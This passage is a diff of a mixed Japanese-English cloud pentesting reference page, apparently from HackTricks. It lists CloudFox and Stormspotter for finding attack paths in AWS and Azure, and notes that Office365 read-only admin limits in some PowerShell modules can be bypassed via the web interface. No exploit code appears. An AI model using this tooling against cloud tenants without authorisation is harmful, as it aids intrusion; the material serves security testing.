+A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFoxはクラウドインフラの利用可能な攻撃パスを発見するツールです（現在はAWSとAzureのみサポート、GCPは近日対応予定）。
-- 手動の pentesting を補完するための列挙ツールです。
-- クラウド環境内のデータを作成したり変更したりすることはありません。
+- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming).
+- It is an enumeration tool which is intended to compliment manual pentesting.
+- It doesn't create or modify any data within the cloud environment.
 
 ### More lists of cloud security tools
 
@@ -410,13 +410,13 @@ aws-security/
 azure-security/
 {{#endref}}
 
-### Attack Graph
+### 攻撃グラフ
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter)はAzureサブスクリプション内のリソースの“attack graph”を作成します。red teamsやpentestersが攻撃面やテナント内でのピボット機会を可視化でき、あなたの防御担当者がインシデント対応作業の把握と優先順位付けを迅速に行えるようにします。
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)はAzureサブスクリプション内のリソースの“攻撃グラフ”を作成します。red teamsやpentestersがテナント内の攻撃面とピボットの機会を可視化できるようにし、防御担当者が迅速にインシデント対応の方向付けと優先順位付けを行えるように大幅に支援します。
 
 ### Office365
 
-You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **ウェブアプリケーション経由で**。
+You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **Web アプリケーション経由**.
 
 
 {{#include ../banners/hacktricks-training.md}}